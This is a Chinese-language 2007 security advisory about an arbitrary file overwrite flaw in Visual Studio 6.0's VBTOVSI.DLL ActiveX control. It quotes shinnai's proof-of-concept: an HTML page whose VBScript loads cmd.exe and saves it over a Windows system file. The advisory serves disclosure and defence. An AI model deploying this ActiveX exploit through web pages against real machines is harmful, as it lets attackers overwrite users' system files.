安全研究

安全漏洞
Microsoft Visual Studio VB To VSI支持库ActiveX控件任意文件覆盖漏洞

发布日期:2007-09-11
更新日期:2007-09-13

受影响系统:
Microsoft Visual Studio 6.0
描述:
BUGTRAQ  ID: 25635

Microsoft Visual Studio是微软公司的开发工具套件系列产品,是一个基本完整的开发工具集,包括了软件整个生命周期中所需要的大部分工具。

Visual Studio中所安装的VB To VSI支持库(VBTOVSI.DLL)没有正确的验证某些方式的输入参数,允许用户使用Load()方式做为参数加载本地机器的文件,然后使用SaveAs()方式将其保存到任意位置。

<*来源:shinnai (shinnai@autistici.org
  
  链接:http://secunia.com/advisories/26779/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">---------------------------------------------------------------------------------------------------------
<b>Microsoft Visual Studio 6.0 VB To VSI Support Library (VBTOVSI.DLL v. 1.0.0.0) Arbitrary File Overwrite</b>
url: http://www.microsoft.com

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

<b>Description:
Using the "Load()" method we can load the content of a file from local machine passed as argument to
this function and then save it into arbitrary location with the "SaveAs()" method.
This allow to overwrite well known files with arbitrary data. I try to pass to the "Load()" method
remote directories (http) but, unfortunately, it accepts only local directories.</b>
---------------------------------------------------------------------------------------------------------

<object classid='clsid:7EEA39E3-41D1-11D2-AB3B-00AA00BDD685' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
Sub tryMe()
  test.Load "c:\windows\system32\cmd.exe" 'or just some existing file
  test.SaveAs "c:\windows\system_.ini"
  MsgBox "Exploit completed!"
End Sub
</script>
</span></span>

</code></pre>

建议:
厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/technet/security/

浏览次数:2610
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障